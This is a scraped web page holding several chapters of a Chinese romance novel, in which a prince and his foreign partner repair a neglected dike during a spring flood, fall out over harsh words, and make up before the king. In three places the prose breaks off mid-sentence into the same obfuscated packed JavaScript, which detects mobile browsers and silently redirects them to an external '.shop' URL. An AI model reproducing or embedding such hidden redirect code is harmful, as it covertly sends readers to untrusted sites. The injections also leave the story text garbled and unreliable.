“去收拾你的物品,我顺便和你交代春讯的治理事项。” 米尔真正地领教了洛斐说一不二,言出必行的脾气,上一秒还在和他讲话,下一秒就能拉着他走进卧房,开始收拾行装。 偏偏还喋喋不休地没完没了。 “因为你前几年缺席,春讯的事,我会尽量和你讲清楚。” “在堤坝附近的村庄住下,既要护子民们周全,也尽量不要叨扰他们。” “这次情况特殊,没有贵族随行相助,所以更要尽心尽力,全心全意地投入,不能将自己的身份带入,摆起架子刁难子民们。” 洛斐坐在一旁,边看米尔一件件地整理行装,边将历年治理春讯的事项全部讲给米尔听。 “最重要的是保证自身的安全,绝对不能意气用事。” 米尔安静地听完,这才开口:“殿下放心,我不会冲动。” “我知道,只是顺便嘱咐你。”洛斐也清楚米尔的脾性,能平和安静地处理就绝不会大张旗鼓地解决。 莱因哈特国王能同意对方参与其中,大概也有这方面的原因。 洛斐这么一想,便抬起头来,“你懂水利?” 背对着他,给植株浇水的米尔顿了顿,“略知一二。” “艾琳娜夫人精通武器,也包括各式各样的水利工具。你知道水利也很正常,算是耳濡目染吗?” 洛斐说完才反应过来,提起对方逝去的亲人是多么无礼的行为,脑子里疯狂思考如何体面地道歉和翻篇,“你……” “不是母亲教授,是从导师那里学到的。”米尔满意地摆了摆鲜活绿油油的植株。 “是吗?”洛斐走到他身旁,看了眼植株,“米尔,那便拜托你了。” 米尔二话不说拍掉洛斐探向植株的手臂,淡淡地开口:“彼此照应,搭档。” “搭档?”洛斐细细品味着这个词,只要不唤他殿下,米尔口中的称呼,似乎总是格外顺耳。 “既然是搭档不该彼此坦诚吗?” “稍等。” 遇到不想回答的问题便逃避。 洛斐撇了撇嘴,转身坐回去。一抬眼,一个粗布包袱忽然递到眼前。 米尔将包袱递给洛斐。淡蓝布料稍微一看便知道不是温斯洛都城生产的物品。 米尔开口解释:“这是狩猎前就答应给殿下的礼物。” 洛斐抬眸看了一眼米尔,随即垂下眼帘,动手解开包袱。 包袱边角折得方方正正,封口处别着一小截干花。洛斐不自觉地弯了弯嘴角,米尔还挺用心。 “谢谢你,你……” 洛斐的话戛然而止,里面静静地躺着一柄折刀,刀柄刻着细密纹路,刀刃锋利得能照出人影,稍一端详便能断定,这刀是出自制刀名家之手。 洛斐从小到大收到的礼物收集起来,大抵能堆成小山。武器装备,珠宝饰品……贵族们总是变着法子给他塞来无用的物品。 一把折刀当礼物,倒是头一回。 洛斐抚摸着光滑的刀柄,“这不是温斯洛的手艺,也不是艾瑟兰的样式。” “是艾琳娜夫人的手笔吗?” 米尔将行装彻底收拾妥当,回头道:“殿下误会了,母亲的遗物,我手中也没有几件,又如何赠予你呢?” “不是艾琳娜夫人的旧物,你去哪里买的?”洛斐把玩着折刀,“给王子送折刀当礼物,也就只有你了。” 米尔随口道:“见卡斯弗那日,在城镇看到了一家店铺。后来你要去忙春讯了,我便去那里请人刻了刀柄。” “卡斯弗?”洛斐顿了顿,垂眸道:“你……倒是记得很清楚。” 米尔听洛斐的语气古怪,反问:“殿下不喜欢吗?我给你换一个礼物?” “不用换。”洛斐将折刀握在手心,“这个很好,我很喜欢。” “你喜欢就好。”米尔说完,将收拾齐整的行囊放到眼前,准备去喂小黑。 洛斐抬眼看见那一小包行囊,微微惊讶,“你就带那么点东西?” 米尔摸着小黑软糯的脑袋,“这次是去和子民们共历艰险的,带多了反倒累赘。” “殿下不是也嘱咐了,要亲和尽力,不能摆架子。” 洛斐愣了好一会,才反应过来,“是不能摆艾瑟兰王室的架子,要全心全意。”他看了眼还没小黑大的小包,顶多装两套衣袍,忍不住说:“但是,也不能如此草率。” 米尔抓了抓小黑的脖子,听着呼噜噜的呼吸音,随口道:“真的不用了,那份包只是看着小。” “是吗?”洛斐低头看了眼孤零零的小包,顺势将桌面米尔常用的熏香放了进去。 顺手将毛毯,墨笔全部塞了进去,米尔刚开口要拦,桌面摆放的厚重书籍也已经进了小包。 洛斐美其名曰“全部是重要必需品”,对着米尔的小包强买强卖。 米尔看着小包快被塞爆的模样,如洛斐所愿,换了新的大包。 …… 洛斐治理春讯,这是第三年,也是头一回没有贵族与导师从旁指导,独自完成治理。 好在艾瑟兰的春讯,来去都极有规律,堤坝也维持得良好,多数时候不过是渗水的小毛病,修补便好。 洛斐花费三年时间将前前后后都了解得较为透彻。 所以在堤坝附近的城镇安顿下来之前,洛斐是很有把握的。 只是此次的春讯像是被太阳挡了路,来得晚,城镇的子民们早早地准备,却依旧没有一滴雨水落地。 洛斐和米尔抵达那处最大的城镇时,天色灼热得异常,一点也不像大雨来临的模样。 “好久不见,瓦莱里安殿下。”率先和他打招呼大概是镇长,瘦削的身体好似抵不住风吹,眼睛滴溜溜地转着,语气也说不出来的怪异。 “你好。” 洛斐下意识地微微颔首,对方倒也并非全然失礼,勉强回了个礼数。 洛斐皱了皱眉。 轮到身旁米尔问候时,对方连眼神也未施舍,只是指向远处的粮仓和堤坝一角,开始煞有介事地背诵起早就备好的情况。 “城镇一切安好,粮仓是满的,堤坝也是好的,周边的……” “情况姑且不说,镇长先生不懂礼仪吗?”洛斐笑着打断对方长篇大论的汇报,语气却冷冷的,一出口便让面前的镇长愣住了。 “韦恩菲尔德大人是国王派来协助我治理春讯的,难不成连您的眼神都得不到,还是说您的眼睛格外金贵?” 洛斐一旦生气,就变得咄咄逼人。 镇长也没料到王子的关注点如此奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581782|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 怪,揪着他的礼数不放,他也确实看不上黑发黑眸的异族人,此时被逼得语塞,支支吾吾地讲不出话来。 身旁的米尔先有了反应,抬手按住洛斐腰间的佩剑,治讯期间砍断官员的头发,可就不是去一趟庄园便能解决的事情。 王国子民们你一句我一句就能将洛斐的王子数落得够呛。 “您好。”米尔重新开口问候。冷汗涔涔,张口结舌的镇长像是抓住了救命稻草,赶忙握住米尔的手掌,大声喊道:“韦恩菲尔德大人您好,久仰。” 喊完转身去看洛斐的神色,有所缓和后方能缓口气。 如果说礼数不周只是让心生洛斐厌烦,那接下来的种种,才是真正让他由衷不适的根源。 “堤坝的缝隙都能让小虫子安家了,你说没有任何问题?”洛斐手指探向堤脚,抬眸看着惶惶不安的镇长,“我来探查时,是不是交代了修补的问题?” “是的,殿下……叮嘱了。”镇长堆着笑脸辩解,“我们确实修补了,也许是日子潮湿导致堤坝正常渗水。” “正常渗水?”洛斐低头擦拭指尖,轻声反问:“先生是在说笑吗?” “不是的,殿下的嘱咐我们真不敢忘。”镇长讪笑着回答:“实在是天气潮湿的缘故,您看,这一边的土和泥浆还没用完。” 洛斐看向一旁的堆成山的土堆,木桶内的泥浆眼看着溢出来,满地潮湿。石夯,木槌这些工具倒是摆得齐全。 洛斐神情放缓,镇长顺势开口:“殿下放心,我们会尽快……” “不敢忘记但是敢敷衍。” 米尔的一句话,将缓和的气氛彻底打碎,也把镇长刚放下的心重新提起来。 “韦恩菲尔德大人这话如此随意,恐怕也不合礼数。”镇长愣了愣,轻声开口。 哪怕外间传闻米尔如何厉害,总归和他这位小官员无关。他只清楚,这个异族人总让他下不来台。 “难不成,您是指殿下上次有所疏忽?” 米尔没回答,依旧蹲着,细细地观察堤坝,倒是洛斐敛起刚刚的咄咄逼人,凑过去低声问:“米尔,怎么了,发现了什么?” 不是说互不相容,针锋相对吗? 如坐针毡的镇长彻底麻木了,静静地看着他们旁若无人地低声交谈起来。 就在镇长盘算着如何卸任后捞得更多财产时,米尔开了口,“镇长先生派人来修补是事实,但是敷衍了事也是事实。” “第一,只是往裂缝里填了些松土,踩了下便充当夯实了。”米尔轻轻一拨,缝隙周边的土果真就松了。 “第二,不寻找进水点,反而用泥浆做障眼法,铺好缝隙便全当无事发生。”米尔捡起一旁的碎石块,继续道:“第三,本该用石块垒起护坡,却只堆了一层碎石子,根本挡不住水压。” “春讯过后,镇长可能得跟我回趟温斯洛了。”洛斐踢了踢脚下那堆碎石,“你有异议吗?” “我,我的荣幸。”镇长叹口气,就是卸任他也认了。 此次春讯重点便在这座城镇,其余则是低风险区域。偏偏其他地区做得明明白白,井井有条,就这个最重要的,拖了后腿。 堤坝的重点区域修补,至关重要,也迫在眉睫。好在莱因哈特怕他难以应付,特地派了人来协助。 人手虽足,但任务不见得轻松,米尔反而更忙了,整日绕着堤坝来回巡视数遍,比当日值守的人还要敬业。 洛斐看着面前走得飞快的米尔,时不时看向四周,便也学着他的模样,四下张望,“你不必如此急躁,堤坝每日都有人值守,你可以歇一歇。” 堤坝随着他们的努力修补得渐渐像了样子,一切都很顺利地进行。米尔何必如此焦躁,宛如一根紧绷不能断的琴弦。 “堤坝既牢固,也脆弱,细小的漏洞也有可能将它摧毁,所以巡堤是极其有必要的。”米尔看着洛斐,认真地说。 水波平缓,心潮暗涌。 洛斐看向米尔,对方的黑眸依旧好看得不得了,像是吸人的黑洞,像是深邃的黑海,他忽然轻声道:“你很适合做王子。” 19. 冷战 “做王子?”米尔回头,深深地看了眼洛斐,淡淡地开口:“我对做王子不感兴趣。” 洛斐愣了愣,浆果过敏时还说放任谣言流传,不用在意也不用强加干涉,眼下又成了兴致缺缺。 变化快得像是春讯的暴雨。 “你还真是……”洛斐刚想不客气地回他几句,却见米尔俯身望向几乎完好如初的堤坝,夸奖洛斐的话脱口而出,像饮水那样自然,“你性情温和,胸怀坦荡。” “无论是王国,还是各地子民,皆是认真用心地对待,走遍各国,也找不出比你更适合做王子的人选。” 洛斐方才生出的那点懊恼,像是摸不着的云雾,被米尔一句称赞一股脑吹散了。 “你说得也不错。”洛斐扬起头,眉眼间透着自得,不无骄傲地说:“春讯,我们也能漂亮地收尾。” 米尔深一脚浅一脚地往前走,意有所指地说:“所以更要竭尽全力地巡堤,时刻做好准备,不是吗?” 洛斐怔了怔,明白米尔不会白说一句废话,不情不愿地说:“……是。” 他算是下了决心,以后绝不会和米尔同去第二次任务,否则对方可能为此辛劳到一命呜呼。 米尔不仅拼命,而且偏爱独自完成任务,确切地讲,是看不得别人受累,耗费精气的重活全部收入囊中。 哪怕是身为王子的洛斐,浅浅地揉了揉眼睛,也要被对方劝到回房歇息。 停留的第五日,洛斐彻底没办法帮忙了,下游村庄疏散子民的时候,出了岔子。 年长的子民信极了经验,一口咬定今年的春讯只是毛毛雨,说什么也不肯跟着人群撤离,和负责子民撤离的骑士们僵持。 这情况次次皆是如此,说严重倒也是小题大做,洛斐早就习惯了。 但要说小事一桩倒也不合理,每次面对这处境,都不能袖手旁观,毕竟,年迈长辈的感召力,不容小觑。 洛斐第一次面对政务时,踌躇不决。 去往下游村庄就无暇顾及堤坝的状况。 但是近来天气开始变得阴晴不定,怎么看也都是暴雨来临的预兆,它像枚随时可能发生状况的定时炸弹,此时离开不是良策。 而且本就不知歇的米尔肯定舍弃睡眠和用餐来治理春讯,到时候费尽周折才能缓解的旧疾复发,所有治疗将会前功尽弃。 洛斐全都不放心。 偏偏米尔得知后,干脆地催促他去安抚下游的子民,堤坝附近的事务他会全权负责,不会懈怠。 洛斐不是怕他懈怠,是怕他丝毫不停歇地闷头苦干,春讯是过去了,身体也垮了。 “你不用如此拼命,该歇就歇。” “好。” 洛斐学着薇洛希的口吻,将米尔好好地叮嘱了一遍。得到肯定答复后,才放心地离开。 小村庄的情况较洛斐预料的出入不大,年迈的老人们固执地不肯离去,庆幸的是年轻人撤得迅速,节省了不少时间。 洛斐耐着性子,软硬兼施地劝说了几日,终于将最后几位老人都送去了安全地带。 洛斐前脚刚忙完,后脚就听负责调配物资的骑士们小声谈论,韦恩菲尔德大人对待他们如何认真用心,如何顶着暴雨清理疏通堤坝。 他们口中是诧异和钦佩,洛斐听见只觉得眼前一黑。 米尔又不要命了。 真是比上课还累的日子。 暴雨来得突然,下游去往堤坝的路被堵得彻底,仅剩一条窄小的通道勉强能容一人通行。 同来的骑士面对执拗的洛斐,劝也不是,拦也不是,只能紧紧地跟着,不停地劝说:“殿下,前面真的过不去了。” 洛斐真的停了脚步,转身回答:“你别回去了,暂时留下来安抚子民,也和其他人交代,暴雨期间最好待在原地。” “您回去做什么?” 骑士擦了擦遮挡视线的雨滴,现在的情况早就稳定了,待在下游等待回温斯洛即可,何必费力回到堤坝受累。 “去帮忙,不能留他们一群人独自在那里。” 洛斐说完便直直地往前走,泥浆越过靴帮也不在意。 自从认识米尔后,他也变得说一不二,自顾自地热心肠起来。 放在以往,他恨不得说一句。 真是古怪。 雨滴不断地拍打,油布伞噼里啪啦地响起,洛斐索性将受尽摧残的伞收了起来,往堤坝走。 最先看到的不是米尔,而是一旁趾高气扬,慌慌张张的镇长,正指挥着身边人给他打伞。 他无意瞥见洛斐的身影,立即摆出笑意,抬手示意身旁人将伞撑过去,“殿下,雨势如此凶猛,您又何必亲自上来?” “不用,谢谢你。”洛斐推开湿滑的伞,看向依旧堆着笑的镇长,“既然知晓雨势凶猛,镇长在这里做什么?” 镇长的笑容凝滞,断断续续地什么话也说不出口。 他总不能说是因为米尔在堤坝巡查,而他早知晓洛斐对这位异国王子在意得很,便不放心地前来献殷勤。 洛斐看出他的局促,随口道:“难不成是担心堤坝情况?” 镇长如释重负地顺着洛斐递来的话柄,“对,对,是的,堤坝确实让人放心不下。” “好在韦恩菲尔德大人常常巡堤,堤坝能完好如初全仰赖您和大人的功劳。” 洛斐望着眼前细密的雨幕,皱了皱眉,“还在堤坝?” “是的,我给您带……”镇长的话音未落地,身旁的洛斐丢下一句话便走开了,“不用,我倒不至于连路也不认识,镇长先生先回去,顺便去学习学习如何撑伞。” 镇长面红耳赤地抢来伞,气恼地回了城镇。 暴雨没有停的预兆,洛斐看了一圈堤坝的情况,目前来看倒也算安稳。 尚且平和的的心情在望见米尔傻愣愣地淋雨时,破灭了。 说是直接淋雨并不准确,说是两根支柱间撑起一块薄布,勉强算是个简易的雨棚更为恰当。 布料都快被雨滴穿透了,雨棚下的人依旧闭着眼,安静地歇息。 困不睡觉。 累不休息。 能撑则撑。 这就是米尔。 洛斐算是服了,干脆利落地走到米尔面前,撑起伞,在对方眼睛未睁开时,就握住他的手腕往回走。 一气呵成。 没了雨水的吵闹和熟悉的黏腻感作伴,米尔立刻清醒了,含糊不清地问:“去哪里?” “回城镇。” “回城镇做什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597087|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >“休息,用餐,以及睡觉。”洛斐面不改色地用一一陈述。 洛斐自认为说得清晰明了,说完就拉着人继续往城镇方向去。 眼看着马上就能抵达城镇,却是米尔反手一带,将洛斐拉进了路边某户人家的屋檐下。 如若不是米尔轻松挣脱开洛斐的手腕,他就差点忘了米尔的全能武力值。 停下的是米尔,率先开口的却是洛斐,“你是要累死才罢休吗?” 艾瑟兰王国对死亡极其忌讳,洛斐作为王子,很少会主动使用,除非是特别气恼的事情。 比如遇到气人的米尔。 “我并没有劳累。”米尔不咸不淡地辩驳了一句。 “非得病了才明白。”洛斐撩了撩全湿的额发,“卡斯弗不是嘱咐你,要你爱惜自身,哪怕你不听旧友的叮嘱,也该……” “也该听……莱因哈特国王嘱咐的,不是说要你保重身体,不要拿自己去冒险吗?” “这场暴雨,来得猝不及防。”米尔顿了顿,“无论是时间,还是雨量,都和往年情况大不相同,堤坝又是修好的,本就该格外留意,” “况且,不过就是几日罢了。” 米尔越说声音越低,到最后几乎像是呢喃,他确实违背了约定和规则。 “我不能留在这里吗?”洛斐低声质问:“还是说骑士们全都无所事事,非得你一个人累死累活才能保住堤坝?” 米尔从未见洛斐如此生气。哪怕是得知堤坝修补得繁衍了事,也只是淡淡地责备,当即想办法补救。 此刻现却像是被踩了尾巴的小黑,浑身的毛都炸开了。 “你别气恼。” 米尔抬手揉了揉被水滴迷住的眼睛,手臂上的伤痕明晃晃地暴露在洛斐眼前。 石块划破的细长红痕被雨水浸得愈发醒目,尽管不及赛马场那次的伤势严重,但也不能放任不理。 受伤了?也不处理? 洛斐抿了抿唇,“是为了名利如此拼命吗?人们看到你的艰辛就会赞扬你的功绩?” 责备的话像是雨滴落地,噼里啪啦地说出口。洛斐自己先愣了愣,立即明白话中的不妥当,抬眸看向面前明显怔住的米尔。 “我不是说你……” “韦恩菲尔德大人!堤坝底端一直在渗水,您快去看看吧!”来人急匆匆地喊着,洛斐不得不将话咽了回去。 米尔去了堤坝查看情况,洛斐刚想跟着去,却被对方轻巧地躲开了。 一旁看热闹的镇长机灵地提议洛斐先去换身干燥衣物,洛斐微微颔首,没有拒绝。 洛斐不气恼了。 从见到米尔在雨棚下闭眼养神时就不气恼了,如果要问接下来的不悦和恼火从何而来,大概……像是薇洛希见洛斐巡访回来,疲态尽显时的那般心疼。 也许洛斐也心疼米尔了。 但无论哪种情绪,都不该化作口无遮拦地指责,何况是如此伤人的话。 洛斐换好舒适的衣服,听说米尔早就回了房,便来到他门口,抬手敲了敲门。 他下定了决心要道歉。 门内先是一阵寂静,之后便是一句搪塞至极的回应。 “我不在。” “……” 洛斐语塞。 20. 抱歉 先前洛斐说了伤人的话,他不能生气,也不该生气。 眼下被米尔冷冷地拒之门外,米尔也气不起来,只剩莫名的委屈。 明明往日都是敞开门让他进屋,很久没有像防犯人这样般防备他了。 “你不能给我开门吗?我……有话要讲。”洛斐闷闷地开口。 “不能。”米尔的语气确实带着疲倦,“我累了,有什么话,殿下都留着明日再说。” “你……”洛斐的王子脾气完全散发不出来,含屈地说:“好。” 纵使手法错误,过程也一塌糊涂,但米尔好歹回来睡了。 不在雨棚里闭眼养神就算是巨大成功,郑重地道歉放到明日也不迟。 洛斐自圆其说,揣摩着米尔的想法,又自顾自地将明日的事情妥当,勉强转身离去。 去安抚子民的活只是看着轻松,做起来却劳心费神,向来对床铺要求极高的洛斐也累到无暇顾及环境,裹起毯子便睡着了。 他再次醒来的时候,雨势渐停,空气中的泥土味也淡了几分,细细的雨珠顺着洛斐开的门窗飞了进来。 看来今年的春讯,又是一只纸老虎。 洛斐伸了伸懒腰,顺手拿起那把裹着布料的折刀,刀刃散着寒光,原来是怕雨淋坏了,眼下看完全是多此一举。 暴雨都要停了,米尔也该消气了。洛斐抿抿唇,深吸一口气,转身朝往米尔住所走去。 人还没走到门前,迎面走来一个负责值守的年轻骑士,洛斐原本以为是受米尔嘱托来推辞的。 结果,来人一站稳就急匆匆地开口:“洛斐殿下,堤坝底端又渗水了!” 堤坝老旧,镇长也从未巩固,哪里是短短几日就能彻底以绝后患的,类似的报告,早就数不清是第几次了。 洛斐皱了皱眉,像先前那样先安抚再交代任务,“不用急躁,先去加固。” “殿下,可……可是这次渗出来的是泥沙。” “泥沙?”洛斐看了眼稀稀落落的雨滴,语气踌躇,“暴雨都快停了,怎么还会带出泥沙?” 年轻骑士浑身湿漉漉的,水滴顺着衣摆往下淌,洛斐抬眼一看,便让他回屋,最后淡淡地问了句:“韦恩菲尔德大人呢?” “……可能在屋里?”骑士犹豫了片刻,才吞吞吐吐地回答。 米尔起得早,回得晚,整日忙碌,他实在是碰不到面。 “他去堤坝了。” 洛斐猜出米尔肯定第一时间赶去堤坝,便转身拍了拍骑士的肩膀,朝着堤坝方向跑。 去往堤坝的路虽是湿润但不至于泥泞,洛斐暗暗松口气,至少不会是溃堤这么严重的情况。 洛斐远远望见堤坝轮廓,周遭全是忙忙碌碌的人,每人手里或抱或扛的,皆是沉甸甸的沙袋。 洛斐没来得及询问搬沙袋的子民,便被米尔从身后拽住了衣摆,耳边传开毫不客气的指挥,“殿下,去搬沙袋,将出水口围起来。” “我要……” 洛斐转头看米尔神色冷淡,衣袍沾满黏腻的淤泥,要先了解情况的话咽了下去,不就是搬沙袋吗?只要是为了堤坝更牢固和子民安全,权当是顺便哄米尔消气。 况且……看起来简简单单。 就是,做起来有点棘手。 浸透水的沙袋分量十足,洛斐虽不是娇生惯养的温室王子,但也顶不住几个沙袋来回折腾。 好在也从一片忙碌中打听到了目前情况。 说话的是当地居民,年纪不大,呆呆地望着洛斐,结结巴巴地开口:“是,是是……” 洛斐将沙袋放在米尔指定的地方,转身说:“不用紧张。” 年轻人抿抿唇,他倒不是紧张,他是震惊。 王子也要搬沙袋吗? “是堤坝,它管涌了就是……”年轻人收起惊讶,挺了挺腰板,将米尔交代得重复一遍,“就是堤坝下面被水掏了个洞,水带着泥沙一起往外翻滚,冒出来浑水,韦恩菲尔德大人说,用沙袋垒起来一圈,再往里面铺砂石。” 尽管说得磕磕绊绊,但管涌一出,洛斐就明白了。 这是他的失误,十几年没有堤坝管涌的先例,他就给抛诸脑后了。 “谢谢你。”洛斐听完前因后果,颔首道谢后,便侧着身子跑去米尔身旁,低头看向沙袋中间翻腾的浑浊河水。 “堵住。” 一直没理他的米尔转头望着洛斐,叹了口气,说:“堵住的话,水压往哪里走?” 洛斐认真地回答:“往周边分散。” “……”米尔将成堆的砂石以粗细程度分好,随口道:“这次是发现及时且冒水口面积小,否则溃堤也并非不可能,明年春讯必须特别注意。” “明白了。” 米尔将早就备好的砂石由粗到细地摆好,极其规律。 堤坝上,方才搬沙袋的多数人被米尔劝下去休息,只剩下几位年轻力壮的帮忙。 “你……”洛斐想说点什么缓和气氛,低头却见米尔踩着的木桩忽然滑动,直直地往前倾斜,眼看着就要一头趴到水里,偏偏当事人不喊也不叫,像无事发生似的。 洛斐眼疾手快地猛然拽住米尔衣领,倏地将人拉回来,“眼看着就要落水了,你也不喊人,只有被水流冲走才知道开口的重要。” 洛斐说得语气不重,但望向差点落水的米尔难免不好听。 米尔刚刚站稳脚跟,眼下的管涌出水口也恰好停止了沸腾,浑浊的水变得再次清澈。 米尔抬起沾满泥渍的双手,微微抬眸,“你指责了我两回。” 一句话将洛斐的所有话堵住了,他只得抿抿唇,垂首低头道:“抱歉,是我失言了。” “我并不是要指责你,我明白你对春讯的用心和认真,也感谢你对艾瑟兰的帮助,也绝不会否定你的努力。”洛斐看着最后的雨滴落地,雨停了,春讯也跟着停了。 周围的人来回走动,忙着春讯收尾,洛斐继续道:“我只是担心你,你本来就睡不好,好好躺着都难以安睡,更何况这样日日夜夜地熬着。” “管涌是我的疏忽,让你忙碌忙前忙后,你又险些落水,我……便失言了,抱歉。”洛斐说完,看了眼波平如镜的河面,小声说:“但你不爱惜身体,遇险也不喊人也是不好的。” 米尔认真地倾听,清洗完泥渍,转身看洛斐已经说完了话,却依旧站着不动弹,问:“说完了?” “嗯。”洛斐默许般地颔首。 “那便去将下游的子民喊回来,安顿好,顺便清点和发放剩余的物资。”米尔拍了拍洛斐的肩膀,“撰写报告和记录问题不要忘了,还有向莱因哈特国王汇报的内容也要提前准备。” 米尔不说是,也不说否,更不说和好的话,他只摆出一连串代办的事项,压得洛斐连喘口气的时间都没有。 撤回疏散的子民,清点物资和遣散人员,只是这些就已经让洛斐忙得应接不暇。 更何况还要撰写报告和记录问题,而且是呈给国王的,半点疏忽不得。 米尔也忙得难寻踪影,洛斐也就暂时放下了对他是否接受道歉的揣测,认真在城镇忙起堆积如山的事项。 即将步入夏日的时候,洛斐终于将春讯的事务处理妥当。 他原以为所有人都被他遣回了温斯洛。 结果,连着忙碌了好几日,刚踏出房门,就见到了弯腰赏花的米尔。 对方穿着当地相对张扬的绣纹繁复礼服,眉眼间自带矜贵,衬得气色颇佳。 “你……没回温斯洛?”洛斐问得犹豫,一时间语塞,不知道该说什么来面对米尔。 “没有。”米尔回头望着他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597088|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “听骑士们说,你还没回去,我等等你。” “莱因哈特国王要求的报告竟然缠住了殿下那么久?”米尔看向洛斐颇为凌乱的金发,可想而知他和这几份报告发生了多么激烈的一场大战。 “怎么可能?我只是想要心无旁骛地欣赏美景罢了。”洛斐看了一圈干涸的草地,一本正经地回答。 “那殿下欣赏完了吗?”米尔顺着询问。 “姑且……算是欣赏完了。” “那便回温斯洛,莱因哈特国王早早地喊我催你回去了。”米尔不给洛斐讲话的机会,连催带拿地将人带回了城堡。 “米尔。”洛斐见米尔越走越快,不过是去见国王,却走出了去打架的架势,“不必那么着急,如果没猜错,这个时辰,国王和王后正在品下午茶。” “早点汇报,早点休息。”米尔不紧不慢地说。 洛斐深深地看了他一眼,现在知道要早点休息了,那些日子累死累活,拼了命的是谁? 他也就只敢看米尔一眼。 洛斐现在是要道歉的一方,不能乱说话,安静地听从对方想法最妥当。 “你说得对。” 洛斐与他并肩走着,轻轻顶了顶他的肩膀,应得很认真。 米尔只淡淡回应着侍从们久违的热情招呼,径直推开了议事厅的门。 “你们回来那么快呢。”薇洛希王后放下茶杯,含笑地问。 莱因哈特轻描淡写地补一句,“再慢些,明年春讯又要来了。” “……” 洛斐懒懒地依着门框,看向右侧的米尔,“我就说是在品茶。” 米尔忽视洛斐的话语,先和身前的莱因哈特国王和薇洛希王后微微欠身。 而后才将视线落于洛斐,唇角微扬起,语气淡淡,“殿下不是说城镇风险并没有打消,要继续考察一段时间才回来吗?” 洛斐望着米尔认真的神色,微微皱眉,这又是什么计谋? 他试探着顺米尔的话讲:“是吗?” “你先前让人先回来歇着,而你却执意要留下考察,忘了?” 米尔说得情真意切,洛斐望着他的黑眸,才明白了他的想法。 这不就是为了在父王面前替他说好话。 “真的吗?”莱因哈特将信将疑地问。 洛斐坐回椅子,看了眼皆是不相信的莱因哈特和薇洛希,神色如常地说:“是的。” 莱因哈特不清楚米尔为何要为洛斐说好话,但他知道洛斐独自负责的春讯办得很妥帖。 “做得不错。” “报告内容可以适当精简。”莱因哈特赏罚分明地叮嘱:“但质量不能降。” “谢谢父王。”平白无故得了褒奖,困难的任务也得以减轻,洛斐当然欣喜。 但堤坝不是他修的,春讯也不仅仅是靠他就能平安度过的,由此来讲,功劳也不是他一个人的。 “子民们的配合也很重要。”洛斐微微抬起眼皮,看向坐在对面的米尔,“韦恩菲尔德大人帮了我很大的忙。” “如果没有他的话,我的所有知识都只是皮毛。” 莱因哈特国王和薇洛希王后正欣慰地看向日渐成熟的儿子。 米尔像是不甘示弱地开口:“殿下的耐心和亲和力极佳,子民疏散尤为如此。” “大人见识广博,教会了我许多。” 洛斐手臂撑在桌上,微微倾身,问道:“你……是在和我求和吗?” “求和?”米尔也没想到洛斐会忽然发问,一时忽略了一旁看热闹的国王和王后,脱口问出:“不是早就和好了?” 一句接一句地互相夸奖,气氛变得诡异起来。莱因哈特和薇洛希从面面相觑,到逐渐看出了端倪。 这是针锋相对的状态? 怎么越说越偏了? 21. 洛缇来了 “……早就和好了吗?” 洛斐心中不太舒服。 得到米尔的谅解确实是他所求,但只用寥寥数语便得到原谅未免也太轻松。 为什么不狠一点? 洛斐突然坐起身,直直地望向一旁饶有兴致看好戏的国王和王后。 莱因哈特和薇洛希皆是一愣,警惕地看向洛斐,生怕他会语出惊人。 “母后,父王,你们快点将我流放到边陲荒原。” “……” “……” “……” 空气凝滞了,时间仿佛停滞了,三人也像是冻住了。 最后是薇洛希率先打破这种僵局。她看着认真地仿佛临危受命的洛斐,笑着开口:“说什么胡话呢?” 米尔也回了神,在莱因哈特询问前替洛斐打了圆场,“殿下是不是太累了?” “抢修堤坝确实不是易事,国王如果能为殿下减免些课程和训练,殿下或许能好好歇一歇。” 莱因哈特不大确定地看向洛斐,问:“真的?” “我的……”洛斐的话一半没讲完,米尔罕见地打断他,抬起眼眸,和莱因哈特转述起春讯情况,其中全是褒扬洛斐。 洛斐听得不再争取流放边陲荒原了,他连待下去的勇气都没有了。 即使米尔不是第一次当面称赞洛斐,但如此激烈而直白的赞誉,却真是第一回。 谋划周全,性情温驯,极富耐心,米尔说到最后甚至连剑术进步都提到了。 洛斐抬手想制止米尔,但见他说得诚恳,便微微低下头,摸了摸后颈,“……应该的。” 说完,洛斐看了眼上方国王和王后的表情。 薇洛希依旧是亲和地听着米尔讲话,时不时弯起嘴角,一旁的莱因哈特神色照旧冷淡,看不出情绪。 洛斐微微皱眉。 莱因哈特对他的训练和课程看重程度不亚于王国政务,不会轻易给他假期。 “成长了,春讯办得不错。”莱因哈特难得直白地夸了他一回,接着说:“最近好好歇一歇,课程和训练可以到夏初再进行,但是,我会安排导师给你做政务训练。” 